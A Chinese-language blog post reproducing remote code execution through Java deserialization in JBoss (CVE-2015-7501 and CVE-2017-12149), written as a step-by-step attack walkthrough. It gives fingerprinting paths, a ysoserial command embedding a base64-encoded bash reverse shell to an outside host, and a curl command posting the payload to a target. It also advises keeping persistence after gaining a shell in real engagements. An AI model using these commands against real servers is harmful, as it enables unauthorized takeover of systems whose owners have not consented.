JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501和CVE-2017-12149)

最近复现jboss反序列化漏洞的时候发现,JMXInvokerServlet 反序列化漏洞和Jboss 的 HttpInvoker 组件中的ReadOnlyAccessFilter 过滤器的漏洞可以是同一个操作思路就能进行“一打二”

CVE-2015-7501漏洞:JBoss在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象,然后我们可以利用 Apache Commons Collections 中的 Gadget 执行任意代码。

CVE-2017-12149漏洞:该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。


以下攻击方法适用于CVE-2015-7501和CVE-2017-12149

CVE-2017-12149适用JBoss版本:5.x / 6.x

踩坑提醒:生成的ser文件最好在linux系统操作,windows会出现各种错误,甚至shell反弹不回来。最后实验是成功了,但实战中和测试中发现,shell的存活时间不长,大概5-10分钟就会断开,所以getshell后最好做维持权限


步骤:

发现漏洞指纹→反弹shell进行编码→用ysoserial把编码好的反弹shell生ser文件→启动监听→用curl或者burpsuit对/invoker/JMXInvokerServlet发送ser文件→获得反弹shell


JMXInvokerServlet漏洞指纹:

访问/invoker/JMXInvokerServlet目录,会有Servlet组件弹框提示下载
JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501和CVE-2017-12149)_第1张图片

JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501和CVE-2017-12149)_第2张图片

jboss 6.0反序列化漏洞指纹:

该漏洞出现在/invoker/readonly请求中

JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501和CVE-2017-12149)_第3张图片


把bash反弹shell进行编码
http://www.jackson-t.ca/runtime-exec-payloads.html
JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501和CVE-2017-12149)_第4张图片

ysoserial包下载地址
https://github.com/frohoff/ysoserial

利用ysoserial.jar包的CommonsCollections5链把要执行的反弹shell生成一个ser文件

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9jbi1mei1keC5zYWt1cmFmcnAuY29tLzI4ODQ0IDA+JjE=}|{base64,-d}|{bash,-i}">aufeng.ser

JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501和CVE-2017-12149)_第5张图片

对invoker/JMXInvokerServlet目录使用post请求,右击用Paste from file把生成的ser文件上传然后发包(记得另开监听端口先进行监听)
JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501和CVE-2017-12149)_第6张图片

成功获得反弹的shell
JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501和CVE-2017-12149)_第7张图片

也可以使用curl来进行发包

curl http://目标IP:8080/invoker/JMXInvokerServlet --data-binary @aufeng.ser

JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501和CVE-2017-12149)_第8张图片


CVE-2017-12149工具使用:

该工具只适用CVE-2017-12149,并不适用JMXInvokerServlet 反序列化漏洞,但是通过ysoserial包生成cer的方法,适用以上两个漏洞
JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501和CVE-2017-12149)_第9张图片

你可能感兴趣的:(复现漏洞,jboss,反序列化漏洞)